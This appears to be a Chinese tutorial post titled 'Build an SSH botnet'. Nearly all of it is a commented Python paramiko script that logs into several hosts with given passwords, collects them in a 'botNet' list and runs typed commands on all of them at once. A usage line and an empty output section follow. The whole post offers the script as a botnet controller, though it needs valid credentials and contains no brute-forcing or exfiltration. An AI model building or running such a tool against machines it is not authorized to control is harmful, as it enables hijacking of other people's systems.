构建SSH僵尸网络

2. import argparse
3. import paramiko
5. # 定义一个名为Client的类，用于表示SSH客户端相关操作
6. class Client:
7.     # 类的初始化方法，接收主机地址、用户名和密码作为参数
8.     def __init__(self, host, user, password):
9.         self.host = host
10.         self.user = user
11.         self.password = password
12.         # 创建一个paramiko的SSHClient实例，用于后续的SSH连接操作
13.         self.client = paramiko.SSHClient()
14.         # 设置自动添加主机密钥策略，避免出现未知主机密钥时连接失败
15.         self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
16.         # 调用连接方法，尝试建立SSH连接
17.         self.connect()
19.     # 定义连接方法，用于建立到指定主机的SSH连接
20.     def connect(self):
21.         try:
22.             # 使用提供的主机、用户名和密码进行SSH连接
23.             self.client.connect(self.host, username=self.user, password=self.password)
24.             print(f"[+] Connected to {self.host}")
25.         except Exception as e:
26.             print(f"[-] Error connecting to {self.host}: {e}")
28.     # 用于在已连接的SSH会话上执行命令，并返回命令的输出结果
29.     def send_command(self, cmd):
30.         # 在SSH会话上执行命令，获取标准输入、标准输出和标准错误输出流
31.         stdin, stdout, stderr = self.client.exec_command(cmd)
32.         # 读取标准输出内容，并使用utf-8编码将字节数据转换为字符串
33.         output = stdout.read().decode('utf-8')
34.         # 读取标准错误输出内容，并进行同样的编码转换
35.         error = stderr.read().decode('utf-8')
36.         if error:
37.             print(f"[-] Error executing command on {self.host}: {error}")
38.         return output
40.     # 类方法，用于向所有已添加到botNet列表中的客户端发送相同命令，并收集结果
41.     @classmethod
42.     def botnet_command(cls, command):
43.         results = []
44.         # 遍历botNet列表中的每个客户端实例
45.         for client in cls.botNet:
46.             # 在每个客户端上执行命令，并获取输出结果
47.             output = client.send_command(command)
48.             # 将客户端的主机地址和对应的命令输出结果作为元组添加到results列表中
49.             results.append((client.host, output))
50.         return results
52.     # 类方法，用于向botNet列表中添加一个新的客户端实例
53.     @classmethod
54.     def add_client(cls, host, user, password):
55.         client = cls(host, user, password)
56.         cls.botNet.append(client)
58.     # 类方法，用于关闭所有已添加到botNet列表中的客户端的SSH连接
59.     @classmethod
60.     def close_all_connections(cls):
61.         for client in cls.botNet:
62.             client.client.close()
63.             print(f"[+] Connection to {client.host} closed")
65. # 初始化一个空的botNet列表，用于存储所有的客户端实例
66. Client.botNet = []
68. def main():
69.     # 创建一个命令行参数解析器对象，用于解析用户输入的命令行参数
70.     parser = argparse.ArgumentParser(description='SSH Botnet Client')
71.     # 添加一个名为--host的命令行参数，可接收多个值，用于指定要连接的主机地址
72.     parser.add_argument('--host', nargs='+', help='Host(s) to connect to')
73.     # 添加一个名为--user的命令行参数，可接收多个值，用于指定SSH连接的用户名
74.     parser.add_argument('--user', nargs='+', help='Username(s) for SSH connection')
75.     # 添加一个名为--password的命令行参数，可接收多个值，用于指定SSH连接的密码
76.     parser.add_argument('--password', nargs='+', help='Password(s) for SSH connection')
77.     args = parser.parse_args()
79.     # 检查是否缺少必要的命令行参数，如果缺少则报错
80.     if not args.host or not args.user or not args.password:
81.         parser.error('Missing required arguments')
82.     # 检查主机地址、用户名和密码的数量是否一致，如果不一致则报错
83.     if len(args.host)!= len(args.user) or len(args.host)!= len(args.password):
84.         parser.error('The number of hosts, users, and passwords must be the same')
86.     # 通过循环，为每个主机地址、用户名和密码的组合创建一个Client实例，并添加到botNet列表中
87.     for host, user, password in zip(args.host, args.user, args.password):
88.         Client.add_client(host, user, password)
90.     print("Connected to all hosts. Enter 'exit' to quit.")
91.     while True:
92.         command = input("Enter command: ")
93.         if command.lower() == 'exit':
94.             break
95.         results = Client.botnet_command(command)
96.         for host, output in results:
97.             print(f"Output from {host}:")
98.             print(output)
100.     # 关闭所有已添加的客户端的SSH连接
101.     Client.close_all_connections()
103. if __name__ == '__main__':
104.     main()

复制代码

3. 运行方法：
4. 第一种：终端控制：python your_script.py --host IP1 IP2 --user user1 user2 --password password1 password2

复制代码

输出效果：